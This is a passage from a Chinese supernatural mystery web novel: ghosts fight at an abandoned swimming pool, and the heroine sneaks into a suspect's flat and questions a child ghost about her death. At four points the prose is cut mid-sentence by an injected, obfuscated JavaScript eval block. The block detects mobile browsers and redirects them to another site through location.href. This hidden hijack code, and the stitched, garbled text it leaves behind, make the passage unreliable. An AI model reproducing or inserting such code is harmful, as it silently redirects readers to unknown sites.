下一秒,油门被踩动,银灰老捷达以一个危险但流畅的弧度倒行调头,几乎是擦着附近临停车上的灰粒,从窄窄的停车位中驶入侧路,朝游泳馆方向疾驰。 涂蓝埙在副驾驶解放了双手,刚系安全带,手机就传回电脑那边的消息:老板,找到了。 汤鹏安的妻子叫梁微,就是照片里那个气场很弱的女人,在鹿城二院的后勤科上班,和汤鹏安一个单位。 两人有一儿子,名叫汤光明,今年九岁,就是那个身上有烧伤的男孩,算年龄是白小句的堂弟。 梁微“失踪”是在两个月前,其实不是失踪,是不知道出于何种原因离开鹿城,没打招呼也没递辞职报告,工作丈夫孩子都不要了,现在人在老家的城市。 以上是通过梁微和汤鹏安的聊天记录推理的。他俩多是打电话,为数不多的文字语音消息也不太和谐—— 汤鹏安:微微,你什么时候回家? 梁微:不回了。 汤鹏安:家里一摊子事,没你不行,还是回来吧,我给你买机票,咱们好好过日子。 梁微:我为什么不回你不清楚吗?你不亏心? 汤鹏安:说的什么话,赶紧回来,你是不是外面有人了。 梁微再没回复。 涂蓝埙的思绪被雨声勾走,这两口子的对话怪有意思,彼此指责对方出轨,表面看像是生活作风矛盾。可汤鹏安的最后一句话却很矛盾,既然怀疑梁微外面有人,感情破裂,又何必催她回鹿城? 而且好像梁微“不回来”比她“有人”更让他无法接受。 电脑女鬼发消息:这个汤鹏安要不是真恋爱脑,就是实际上出轨的是他,他心虚,把梁微气跑了又哄不回来,最后倒打一耙说女方出轨,圆面子呢。 涂蓝埙不关心这两公婆在不在婚姻的正确轨道上,她只有一个疑惑,为什么他俩斗了几个来回,谁都不提儿子汤光明呢? 分居夫妻求复合,一般都爱拿孩子说事啊。 还没等她想明白,车速已经减缓,N开车很有一手,骤然减速也不会让人往前一扑,再被安全带勒一下。他就那么丝滑地刹住了。 旁边,游泳馆在黑夜中如一头缩身的巨兽,没亮灯,只有时不时的闪电照亮它的轮廓。 车子被停在不显眼的角落,N没急着下去,对她说:“待会你挑个有水的地方,待着不动就行,不管听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194524|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见什么,都当不存在。有特殊情况就叫,我来解决。” 涂蓝埙一缩,这话术她熟,又要见鬼了。 N从后备箱拎出一提矿泉水,三根指头勾着,不知做什么用。 在这种事上,她没有拒绝的余地,想必N能选的话也不会带着个累赘。不情不愿下了车,两人在游泳馆的俯瞰下像两只小蚂蚁,其中还有一只是死蚂蚁。 游泳馆大门的锁形同虚设,柜台后面墙上还挂着人形纸板,只是展示售卖的泳装已经撤了,整个空间一股灰尘的味道,还有残余的经年不散的氯味。 一路行进游泳区,中间穿过一道淋浴房,更衣柜门有几扇开着,黑魆魆的暗影连缀一片,不能细看,越看越感觉后面躲了人,或者不是人的东西。 涂蓝埙心里一颤一颤,安慰自己,前头走的这个东西就最不是人了,其他的也不可怕。 蹑步迈过消毒泡脚池,游泳区是个很大的空间,头顶高架着方块玻璃穹顶,此刻外面比里面亮,夜幕暗光很吝啬地透进一点,为不停汇聚分散的雨流描绘了轮廓。 玻璃顶漏水,雨水从几处拼接缝滴落,划着亮线掉在地上,滴答不休。 “去吧。”N停下脚步。 涂蓝埙给自己寻了个救生员望台下的位置,旁边正好漏雨,她抓着竖杆蹲下,向外窥视。 这里还是太四通八达了,没遮没挡的,她只能这样找点心理安全感。 泳池早已是干涸的,被各处无节奏的漏雨敲成一面鼓,N站在冷暗的空间中央,没一会,外面传来一道悦耳微沙的笑声:“你还是来了,多年未见啊。” 来者是个女人,四十来岁的模样,身姿挺拔纤细,一身窄窄的改良旗袍裙,肩上披一件女式正装外套。她已不算很年轻,但更添风情。 N转向她,没有任何表情,眼珠在暗光下破碎得不太明显,“聂老师。” 涂蓝埙心想,这位聂老师是人是鬼,好像来头不小。 等聂老师走近她才看清,旗袍裙侧摆凝着一块黑血,蔷薇刺绣似的爬过腰侧和整个背后,聂老师的腿缠绕着不规则的线条,粗细不均,竟像是芭比娃娃的腿被折成几段后,复而掰直的裂痕。 是鬼啊。 而且好像死得很惨。 聂老师提着包,停在N不远处,偏头细看他的眼珠,渐渐失了笑,“别瞧了,当初我被装在箱子里,直接扔到山崖下去了。” “当初还猜以你的本事能跑脱,没想到走得比我早,没用的东西。我说,你不会到最后……都没醒悟过来吧?” 聂老师咯咯笑起来,她笑而露齿,好像两人的死是个有趣的笑话,N的面色愈发冷凝。 她话音一转,“哎,小南,和聂老师说说,他们当时是怎么对付你的?你疼吗?哈哈哈……” 涂蓝埙觉得聂老师挺好,好就好在进来这么长时间,她只逮着N攻击,一眼都没朝这里扫过来。 不过小男是N的名字吗?那他父母还怪大道至简的,生个什么就取个什么名。 N的脸皮抽动一下,话音被牙碾碎,微笑轻声:“我要的东西呢?” 22. 22 聂老师从包里拎出一条银色吊牌,有点像项链,也像可调节手链,末端挂了个硬币那么大的小圆牌。吊牌链子一暴露在空气中,N的视线就跟着它晃荡,目不转睛,像只被猎物吸引的猫科动物。 “拿来。” N向前一步,聂老师轻轻一躲,重新看他,嘲讽中不无苦涩:“小南,你真不是男人,生前死后也就这么点念想,值吗?” 游泳馆安静得吓人,涂蓝埙缩在救生员座椅下面,听见N的语气压迫感很足,喉音咝咝:“它本来就是我的,是你们后来拿走了。最好别刺激我,我没说不算这笔账。” 聂老师盯着他笑了,手腕一扬,吊牌链子一甩甩到N身上,她轻蔑:“好好好,你父母的遗物还给你,它现在是你的遗物了。祝愿你梦想成真,早日找到他们。可惜了,就算你找到,也不是生死相隔,就是地底团圆——现在该你说话了。” 她的话像一枚刻毒的飞镖,N全然无波,戴着黑皮手套的手指将银链一圈圈旋紧。 他慢条斯理启动嘴唇,但那双冷戾的眼透露出厌恶情绪,“你妹妹最后的消息在境内,唐市理县实验高中二年级六班,当时叫宋思雨,应该是那人给她起的名。” 聂老师一双眼睛恨恨盯住N,几乎要迸出火花来,但眼白以可见速度晕染成红,泪光光的,她咬牙切齿:“你果然知道,只是帮他们瞒着我……你当时才十八九岁就学得黑白不分了,哈哈哈,小畜生……” N很凉薄地一笑,抖开那条吊牌链子,低头挂在脖子上,复而正眼看她,口吻竟然温和愉悦,“刚才聂老师送给我的话,现在也送给你。” 他犹不满足,“不过想找她的话,建议你动作快一点。” 聂老师站在原地,呼吸对鬼不是必需的,但她的肩膀起伏不定,鬓发乱在耳边,恨不得冲上来掐N的脖子。在这场比拼残忍和戳肺管子的竞赛中,显然是N获得胜利。 N微笑,补上最后一刀:“……毕竟,我说的已经是十二年前的事了。” 涂蓝埙直觉气氛变了,周围变得更为幽冷,那些掉落的漏雨宛如无言催促,暗影将她看不见的东西藏匿在周围,不,她看见了。 ——游泳馆的阴影中,忽然浮现出两道身影,都是男人。 这两人,或者说两鬼皮肤惨白,身上没有伤,或许正因如此他们比便利店那一夜的开膛鬼更可怕。其中一个高壮赛过打药十年的健美冠军,哧哧喘粗气,比起人类更像用后肢站立的有蹄类野兽。 另一个则是正常人体型,但可怖的是,他的手腕齐根处和钢铁衔接,皮肉和圆筒形的铁皮被黑色细线缝在一起,令人作呕,左手被一只梨形锤头替代,右手则是几根泛着寒光的窄刀片。 聂老师恨声沙哑,身形缓缓隐没,尾音带着冷笑,“小南啊,遇到你的两个朋友,就顺路一起来了。你自己招待吧。” 她消失了,剩下原地冷笑的N,两只一看就凶险非常的恶鬼,还有一个瑟瑟发抖的涂蓝埙。 那个高大壮鬼和铁手鬼没有聂老师那么多词说,他们的目的只有一个,干掉N。而N毫不质疑这个情况,很适应被追杀和回头反杀。 所以两鬼一言不发地闪现在N背后,高大壮鬼一双手如同虎掌,朝N的两臂抓去,铁手鬼直接扬起连腕梨形铁锤,砸向N的太阳穴。 N的身影原地一瞬,无影无踪。 高大壮和铁手也刹那间消失。 三道身影如打地鼠般在空间内闪烁起来,N一忽而出现在泳池内,一忽而倒立在玻璃穹幕上,高大壮和铁手紧随其后,连下死手,不知道和N什么仇什么怨。 但显而易见的是,他俩和聂老师不是一拨人。 聂老师虽然穿着华贵,但举手投足一如现实世界的人类,甚至长相有点眼熟。但高大壮鬼和铁手鬼的画风就不太一样,也是人形,但那夸张的蛮牛般的肌肉,还有那超乎想象的腕部缝合武器…… 好像游戏人物啊。 N不是游戏世界入侵过来的BOSS鬼魂吗? 聂老师给他带来父母的遗物吊坠,埋汰他在地球寻不着亲,又说到他“十八九岁就学得不分黑白”。而且N回击聂老师的那个地名,唐市理县,是现实存在的外省地名,离黄金洲很近。 他怎么好像还有一段现世的人生经历呢:疑似孤儿,不认识爹妈也不知被谁养大,早早堕了浊流外道,心机深沉,最后和聂老师一样被黑吃黑杀害——听着不比夜莺医生善良多少。 现在鬼也有双重身份、打两份工吗? 游泳馆的漏雨仍嘀嗒泣诉不止,涂蓝埙遵循N的嘱咐“站着不动”,但她身上的衣服还湿到仅仅不滴水的程度,牙关冷颤抑制不住,最后不得不下巴脱臼似的张着嘴,免得磕碰出声。 她竟然还好好站在这,没有鬼冲她来。 聂老师也好,高大壮和铁手也好,都好像看不见她这个和N一道的活人,估计是N炮制了青山湖底那次的障眼法。 只要不动,鬼就看不见涂蓝埙,她决定蹲成一朵蘑菇,不动不出声,正好这里漏了不少雨,适合蘑菇生长。 要是蘑菇感觉不到冷就好了,涂蓝埙叹气。 N闪身在泳池一角,身段灵活狠辣如豹子,他比那两米多的高大壮小了两号,但相比之下堪称纤细的黑色十指,力量却十分恐怖。 他的臂、腰、腿都可以是鞭子,肘和膝凌厉胜似钻头,全身柔韧而极具爆发力。只见N侧身避过铁手挥去的刀光,旁侧同时敲来一记铁锤,N来不及闪躲,直接攥住高大壮的手腕,借力打力用高大壮的一拳接了铁手的锤子。 爆炸般的碰响声中,N笑出了声,他是真不怕死,如果鬼能死第二次的话,他好像也不怕。 “差不多得了,今天下雨,你们灭不掉我,不如互相打一顿,出点伤残再自觉滚蛋,反正嘛,横竖都是这个结果……” 他直身玉立,低头看眼手表,不耐烦,在下一波攻击到来前瞬身失踪,“喂,我订的床垫是送货上门的,没时间和你们过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199966|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家家。” N骤然出现在铁手鬼背后,凌空提起对方的腰侧,朝地面掼去,铁手鬼就真像鸡蛋似的被摊在地上,双腕铁器叮当磕碰,想撑地爬起来,被N一脚踩回俯卧位,漏雨敲重点似的淋他的后脑勺。 N伸手沾了点雨水,面无表情。 下一秒,高大壮鬼从后面冲过来,被一拳打翻,在地上滚了两圈,如同被美洲虎击倒的野牛。 两鬼倒地不起,N踩过铁手鬼的脊椎,迈步来到高大壮面前,甩甩腕子,“我说过,今天下雨,你们灭不掉我。” 他绕到池边柱子后,拎来那提矿泉水,依次拧开三瓶,全握在手里往两鬼身上浇。 一共浇光整整十一瓶,高大壮和铁手被淋个湿透,他们好像喝醉了,闭着眼,连爬起来的动作都没有,蠕蠕在地上,良久,铁手冒出一句:“N,没有人会原谅你。” 他们的确和聂老师不是一拨,游戏世界的人叫他“N”,聂老师叫他“小男”。 仇人从异世界一直排队到地球,他到底多遭人恨,没准宇宙鬼魂大团结就靠他了。 N没再理他,像是耗尽耐心,朝涂蓝埙扫去一眼,她知机地往游泳馆入口跑,移动瞬间,额头和耳后皮肤一痒,像是挣断无形的丝线。N抛下两鬼跟在她后面,手里提着最后一瓶矿泉水。 “怎么剩了一瓶水?”涂蓝埙用气声问,说到这一悚,低声下气但兴师问罪:“还有,我之前总听见滴水声,不会是你弄出来的吧?” 水增强他的能力,想必也克制那两个鬼魂,干嘛不一起倒上,有备无患啊。 N只回答前一个问题:“留着款待聂老师,如果她藏在外面没走的话。” 好在聂老师已经无影无踪,于是N冷笑一声,继续说:“另外,这也不是水。” 一整提没开过包装的矿泉水瓶里不是水? 只见N手中出现一只打火机,搓动滚轮,火苗跳跃而出。很亮,但涂蓝埙立马发觉不对劲。 墙壁只染上四面橙黄暖色,空荡荡的,她和N的影子没有被火光投上上去。 下一秒,N把打火机往背后一扔。 打火机划出长弧线,竟然远远落在高大壮鬼的肚子上,还弹了一下,火苗遇“水”蔓延,变成一片滚动的火海。 高大壮和铁手是火海中高高隆起的两座山,他们缓缓开始扭动,身体在火焰中颤抖。 那不是水,是油,矿泉水瓶里装满了透明的油。 涂蓝埙不知道鬼是否需要灭火器和烧伤处理,她定定神,“游泳馆不会连带着发生火灾吗?” N:“不会,这场火只针对他们,不波及现实世界。” 两人回到车里,N径直走向副驾驶,开车的换回涂蓝埙。 驶离这条街的时候,涂蓝埙状似无意:“聂老师为什么叫你……啊?” N闭着眼,“我原来姓南。” 涂蓝埙下意识:“哪个南?” N瞪她一眼:“回南天的南。” 23. 23 涂蓝埙回到便利店已经是深夜。 身上衣服一股潮味,连带着滞涩皮肤,她用一条毛巾从头擦到脚,心想怎么忘了换台更大的热水器,还要再请人安装花洒才行。 蔫蔫回到二楼,把自己摔进沙发床,如果运气好明天能不发烧。涂蓝埙心里很想骂N,想想又算了,沾雨气也是为了在游泳馆保命。 她翻了个身,一想到明天会有新床垫,连不怎么舒服的沙发床也可爱了不少。于是沉沉睡去。 梦里,涂蓝埙好像回到曾经的大卧室里,床软被柔,但她的双手和双脚都被束缚在一起,稍微一动,就是胶带撕扯皮肤的痛意。 软床变成水泥地,四周灰沉沉不见光,胶带蛇一样将双手缠在背后。 她想喊,嘴也被一块胶带闷住,呼救声压在喉咙里出不去,灰尘和油漆的气味刺鼻,她开始咳嗽,整个人昏昏沉沉,只有肺咽变成排不出气的球囊,于是憋到窒息…… 胶带被一只手“歘”地撕开,男声如同夜枭:“不会有人来救你了,哈哈哈哈……” 涂蓝埙还没看清那男人的脸,便撕心裂肺地咳嗽起来。 “咳咳咳!” 她是在沙发床上被自己咳醒的,咳得不重,出了一身黏腻的汗,她摸摸自己的脸,有点发烫,不过身上倒不冷,约莫是受了风寒但没发烧。 涂蓝埙瘫在那缓了半天,才支起上半身,好在头也不痛,就是那个梦让人打哆嗦。 窗外天光依然白亮,透过窗帘照进来,被过滤成柔和的暗光,怪不得她没被晒得难受,只是一阵阵心悸。 等等,窗帘? 便利店二楼什么时候挂上窗帘了?窗帘是少见的墨绿色,纱料非常扎实,里面衬了层柔白单纱,中和掉颜色的沉闷,如果被风吹动,会像一块飘逸的翡翠。 鬼气森森的审美,但不能不说一句有品,不用猜都知道是谁搞的。 涂蓝埙盯着罗马柱发呆,阳光在帘头形成一排小洞,昨晚睡觉的时候可没有这些东西。 她下楼的时候,便利店一楼阳光正好,多了不少东西,洗地机和吸尘器分列墙边,那两张床垫也到了,封着塑料膜和薄木撑板。 N正漠然直立,手持一支长柄勺,他在守着锅煮粥。 “哪来的米啊?”涂蓝埙走过去,收银台换成一张更大的伸缩式桌子,此刻抽到最大,摆了一只电蒸锅和一只电炒锅,昨天没动几下的八个大菜已有六个在盘中冒热气,其余两个还在加温。 若非N眼球裂纹遍布,还古怪地只摘掉左手手套,她险些以为这来了保姆,或者田螺小伙子。 “叫人送的。去刷牙洗手,过来吃饭。”N发号施令。 涂蓝埙进卫生间又被吓一跳,热水器竟然已经装好,莲蓬头银亮,是她睡得太沉了吗?连安装的声音都没听到。 就连那面被她打碎的镜子,也被换掉了。 连吃两天便利店速食后,涂蓝埙终于吃上带烟火气的饭,和N共餐就一点奇怪,旁边必定燃一支香,袅袅曲曲一道烟,好像无端受了谁的祭拜。 她左右环视,电脑女鬼没露头,叫两声也不出来,想来是怕N,涂蓝埙用干净盘子给她拨了份“自助”,放在电蒸锅里温着。 手机叮咚一响,女鬼:呜呜老板……麻烦再来一块拔丝香蕉……一块就行,多了我怕被打…… 涂蓝埙心想,N也不至于那么小气吧。 但结果证实,电脑女鬼是有先见之明的。 N用那只被手套包裹的右手托着碗,左手擎筷子,八个菜有六个带甜口,涂蓝埙稍多夹了两筷子菌菇烧牛肚,N的声音阴阴传过来:“我点的菜很失败?” 涂蓝埙的筷子转向苏氏红烧肉,呵呵两声:“没,点得特别好。” 几片糖醋莲白和一勺甜豆玉米粒被公筷公勺扣进她的碗,N:“你是一点素菜都不吃啊。” 变态吧,他爱吃口甜的,就看不得她一直对咸的下筷子。现在连吃荤吃素也要管。 他怎么不去城区当城管,去网吧当网管,去公共厕所当水管呢。 吃完饭,N冷笑一声收走碗碟,自去卫生间洗涮。涂蓝埙窝在收银台,轻声打了个嗝,开始监察网店的情况。 “西蓝花商店”上线才两三天,又多了好几单,电脑女鬼已经将地址货号转到分销商仓库,抽成看着少但也肉痛,涂蓝埙想着,以后要是能直接自己包仓库就好了。 之前联系的有黄金渠道的朋友发来消息,叫涂蓝埙明天去老城区一家叫“龙凤世家”的金店交易,顺便发来报价单,比通行金价压低一点点,还能接受。 涂蓝埙摸摸怀里两块金饼干,决定卖掉刘茂盛那块,N那块先留着,万一有切割关系的那一天呢,得还给人家。 做完这些事,她又无聊,点开那个青蓝色的鬼论坛刷帖,鬼发帖和人发帖没什么区别,不是打广告求交友,就是闲得无聊博眼球、发泄情绪。 啊,无聊。 涂蓝埙拉着电脑女鬼玩,分析昨天“探案”的经历,电脑女鬼听得激动又害怕,当涂蓝埙说到在大学实验楼找到白超的尸块袋子时,她还“啊”了一声。 电脑女鬼:“好吓人!老板你太恐怖了呜呜呜。” 女鬼捂住眼睛,她此刻只有孤零零一颗头放在电脑屏幕上,头发披下来笼住电脑,两只惨白的手从屏幕中穿出,涂蓝埙一时不知道谁更吓人一点。 看女鬼能无痕融入电脑,甚至操控里面的软件,涂蓝埙不禁问:“哎,那个青蓝色论坛的鬼用户发帖,也是像你这样钻到电脑里发吗?” 女鬼摇头如拨浪鼓,发丝唰唰直抽屏幕,“有一些吧,但应该不多,比如我生前是程序员,死后才恰好能钻在电脑和网络里,更多的鬼应该自己有手机。” “哦。”涂蓝埙明白了。 不,她不明白,“……嗯?” 忍不住重复一遍:“鬼有手机?” 电脑女鬼点点头,“鬼生前是人,哪个人没有手机?而且大家都能接触物品,搞到别人丢掉的报废的手机也很容易吧,拿起来就用呗,大不了多搞一条充电器。” 而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203463|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据她所说,手机在鬼的群体里是流通的,要么用钱换,要么就是哪个鬼不想死了,打算离开现世“投胎”去,也会把自己搞到的手机送给ta的好朋鬼。 涂蓝埙有点懂了:“那话费和流量套餐怎么办?” 电脑女鬼:“不用。我们不用那个。鬼上的网和人上的网不一样,我们的网没有现代互联网那么多元化,也就是这种老式论坛,不过费点力气的话,翻墙也能看见人类的网,就是不能参与,还非常消耗精力。” 说着她还庆幸起来:“幸好我是电脑鬼,否则上个人网累都累死了。” 涂蓝埙好奇地挪动鼠标,点开电脑网页浏览历史,只见“小美小帅最新高分恐怖片剪辑有打码”、“cp同人文万字带车高速版”、“睡前ASMR带砂软糖咀嚼视频”等标签一闪而过,又被苍白但脸红的电脑女鬼光速删除。 女鬼忸怩:“这是个鬼隐私!” 涂蓝埙笑:“你看恐怖片练胆啊?” 女鬼来了兴致,滔滔不绝道:“真的很恐怖!我最新看的那一部,是讲一个外国人把一个特别丑的娃娃带回家了,谁知道那娃娃里面有只厉鬼,然后……” 她一边讲,还一边打开视频给涂蓝埙看,画面恰好定格在鬼娃娃凶戾的眼神上,背景阴森,让人看了起鸡皮疙瘩,女鬼又忍不住捂眼睛。 涂蓝埙看着看着,表情沉凝下来,问:“这个电影是鬼附到娃娃里了,那如果有门路,能把鬼彻底困在娃娃里吗?” 女鬼:“你是说锚吗?娃娃是某个鬼的锚?” 涂蓝埙断然否认:“不是锚,是一个和鬼魂不相干的娃娃或者任何东西,然后把鬼关押在娃娃里出不来动不了,连鬼气都散发不出去,可以做到吗?” 这显然超出女鬼的能力范围,还是货架后看书的N出了声:“可以。” 她追问:“那如果把关着鬼的物品毁灭,比如烧掉,里面的鬼会被放出来,还是会魂飞魄散?” N凝神,顿了两秒说道:“看强弱,一般来讲弱的会直接消失,强一点的虽然会有损伤,但有概率能坚持到物品烧完。” 涂蓝埙:“我们之前找不到白超,说明她被困在什么地方了,虽然不知道她的锚在哪,但没准……” 电脑女鬼听得一头雾水,没跟上话题为什么转向白超,但她感觉涂蓝埙说得很有道理,于是安安静静,继续听。 N:“你觉得,汤伟宁新买的那只毛绒熊娃娃,是用来关押白超的?” # 银灰捷达再次行驶在进入市区的公路上。 如果汤伟宁打算用毛绒熊关押白超的鬼魂,那么有两个问题。 第一,在此之前,白超的鬼魂会被储存在哪?总要有个放置的地方才对。 第二,汤伟宁看履历就是一个正常人,还是正常人里比较优秀、规规矩拒绝的那一种,从小就“别人家孩子”。他杀人就算了,囚禁鬼魂的法子是从哪学的? 一切线索都指向他的家里,那一定藏着秘密。 涂蓝埙决定非法入室一趟。 24. 24 涂蓝埙特意把车停在尚景府城小区外,戴着口罩绕回9栋,幸好,工作日大白天,四周无人。 大约由于有中老年住户,单元门被一块砖石卡住,涂蓝埙畅通无阻上楼,身后跟着默默无言的N。 她不记得汤伟宁家住几楼了,但是好在他大约才离家几个小时,循着尸气,她最终停在13层右手边门前。 “你会开锁吧。”涂蓝埙小声,“他家有人吗?” N冷笑地看她,摇摇头,下巴一抬,那扇门就悄然开了道缝。 说是要闯空门,可真到临进屋时,涂蓝埙还是怵了怵,从包里拿出手套和塑料袋,将自己的头发和手脚包起来,蹑步进门。 汤伟宁应该有两处住宅,这是她进门后得出的结论,因为大学附近这套高层电梯房的装修很普通,有种拎包入住的感觉,而且防盗门上还套着塑料膜。 “他是近一年左右才住到这的。”涂蓝埙说,她走入客厅,“之前他坐在里面哭的那个房间,不在这,可能是在名下其他房产内。” 所以汤伟宁平时住在这方便去大学上班,而休闲时才会去那套豪华的房子,她不禁觉得自己下意识判断失误,来错地方了。 不过来都来了,涂蓝埙还是在屋内走一圈,四处翻了翻,汤伟宁的卧室空空的,但双人床放了两个枕头,同款不同色,一蓝一白,可能有时那个“小宝”也会在这和他私会? 这也太张狂了吧,白超还在“失踪”状态,他公然带女朋友回家双宿双飞,且不说他弟弟一家子怎么看他,就附近住的大妈大爷们,也会在背后议论吧。 涂蓝埙翻了下床头柜,里面没有套,但是衣柜里倒是挂了一套女人的睡袍,真丝香槟色,上面散发着幽幽玫瑰香,整体藏在一套男式睡袍内侧,包裹住,同挂一只衣架,不是刻意翻动还真看不见。 她叹了口气,这汤伟宁,绝了。 N站在窗前,涂蓝埙绕过他,忽然踢到床下一角硬物,是一只箱子。 箱子被拖出打开,赫然是那只白色熊娃娃,毛绒绒很丝滑,两只黑豆似的眼睛,微笑脸,让涂蓝埙想起白小句的笑容,啧。 熊娃娃之下竟然还有发现,是一只卷起来的皮质包裹,一般是用作笔夹,涂蓝埙感到不对劲,翻开它,倒抽一口冷气。 皮夹里列着一整排手术刀,各种型号都有,反射着冷寒的锐光。涂蓝埙忽地想起汤伟宁尾随侄子汤光明的事。他果然憋着坏呢。 “他弟就是医生,这刀不会是从汤鹏安那搞的吧,拿汤鹏安的刀预谋杀害汤鹏安的儿子?这……” 涂蓝埙觉得有必要在帮白超写匿名举报信之前,先警告汤鹏安一番。这一家都什么人呐。 N被手术刀引起兴趣,走过来扫了眼,有些失望,说:“这不是医院规格的手术刀,应该是网上买的,那种不太精密的商业医疗器械。” 但不管怎样,藏器必是为了杀人,汤伟宁买了刀就自然有用它的地方。 N蹲在涂蓝埙旁边,手指拨开皮夹顶盖,说:“他买的刀不够专业,所以进行了二次打磨。” 果然,刀锋刃口处有细微的碎屑和磨痕,锋利得吹毛可断,都到这步了,涂蓝埙不信他没有杀心,只是还没找到下手时机罢了。 “叩叩叩。” 就在这时,有人敲响了汤伟宁家的门,敲了两声,涂蓝埙本以为是物业,但没想到两声过后,竟然传来钥匙开门的动静。 涂蓝埙的头发都要炸了,急急将盒子放回床底,被控告入室行窃反倒是其次了,倘若汤伟宁发现她知晓了他的秘密…… N消失在原地,转瞬出现在门内,一根手指点触在门板上。那钥匙似在锁孔中转动两下,门纹丝不动,外面响起模糊的童音:“哎,怎么打不开呢。” 涂蓝埙趴在猫眼往外看,高处无人,再低一点的位置,汤光明的小手中一串钥匙哗啦作响。 电梯里传来汤鹏安的声音,他似是没赶上儿子的脚步,此刻阻拦道:“小光啊,别去动你大伯家的门,他上班去了,晚上再陪你玩。” 说完,汤鹏安困倦地打了个哈欠,像是刚值完夜班回家,转身开了隔壁的门,顺便把汤光明也带走了。 汤光明还念叨:“之前都能打开的,大伯家的门换锁了吗?真奇怪!” 涂蓝埙松了口气,双腿略微发软,她用手机拍下汤伟宁床底的箱子和手术刀,但她也不能直接拍开汤鹏安家门,告诉他:“你弟弟想杀你儿子,连刀都预备好了。” 就算她把那晚拍到的汤伟宁持刀的照片给他看,一般人也不会信的,反而要先揪着她,扭送到警察局告一个入室行窃。 悄无声息关上防盗门,涂蓝埙没敢坐电梯,直接绕到楼梯间下楼,出去的时候N的脚步顿了下,她警惕,用口型问:“怎么了?” N的声音有些沉,但反正他不怕,扬起丝阴森森的笑意:“汤鹏安家门后,有人透过猫眼在往外看,一直到咱们进楼梯间,还在看。” 涂蓝埙背后一悚,几下拽掉手套和包鞋的塑料袋,快速下楼,不敢回头看:“瞧见咱们了?” “不知道。”N很轻松地说:“但监控没留痕就是了。” 他自然是施了障眼法,理论上看不见的,但那人的目光一直凉凉往外渗,甚至有点随两人转动的意思,所以具体不太好说。 涂蓝埙咽了口唾沫,安下心来。捉贼拿赃,反正没证据,也不能把他们怎么样。 # 回到车里,涂蓝埙想起来,她能联系白小句啊,那小孩在公墓也不知道用哪个鬼的手机上的网,但没准能问问看。 打开网店消息界面,列表里还存着白小句的那条,涂蓝埙输入:“小句号在吗?有事想问问你。” 一时没有回复,就在涂蓝埙准备放弃,绕个路去买点午饭的时候,聊天框忽然变成“对方正在输入”。 用户20205asd:姐姐,是你吗?你要问什么。 西蓝花商店:能和我说说你家里的事吗?比如你妈妈爸爸,还有叔叔婶婶堂弟他们? 白小句沉默了一会,但对给过她糖吃的涂蓝埙没什么防备心,还是开口了,两人热聊几个来回,涂蓝埙从童言童语中了解到白超家的事情。 用小句号的话说,白超和汤伟宁的感情非常好,反倒是汤鹏安和梁微有些不咸不淡,两家人一起吃饭的时候,就连小孩都能看出来白汤更甜蜜,而汤梁有点假假的。 不过小句号还说了,她堂弟汤光明从小就是根蔫吧菜,胆子特别小,安静不爱说话,经常被其他小孩欺负,还得靠她来找回场子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221746|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >即便如此,汤鹏安极其溺爱儿子汤光明,捧在手心怕摔了,这让经常被亲妈白超铁腕管理、亲爹汤伟宁妇唱夫随的白小句颇为羡慕嫉妒。 涂蓝埙听了几段家常话,能从文字感受到白小句对家庭的留恋——她已经在公墓住了快五年,对她的妈妈爸爸叔叔婶婶还是记忆深刻。 “真的,就连我睡一觉没起来的那回,睡前还害怕做坏事被发现呢。小光就从来没有这种烦恼。”白小句不太满意地说。 涂蓝埙敏锐:什么坏事? 白小句一股脑倒出来:“我吃了我爸爸的软糖,吃了整整半罐呢。那个软糖可好吃了,有中英文两个标签,叫什么黑莓素……” 涂蓝埙警觉起来:你是说褪黑素? 白小句高兴了:是呢,那一觉我睡得可香啦,可惜再也没起来,醒过来的时候就在公墓了呢。 涂蓝埙手机屏幕敲得噼啪响:那个软糖是你爸爸给你吃的吗? 白小句:不是哒,爸爸不许我吃,我偷吃的耶。 涂蓝埙不禁想起白小句的死因,她是在火场里死去的,身上都是烟灰,但没有明显的烧伤,约莫是在睡梦中被浓烟呛到、呼吸中毒而死的。 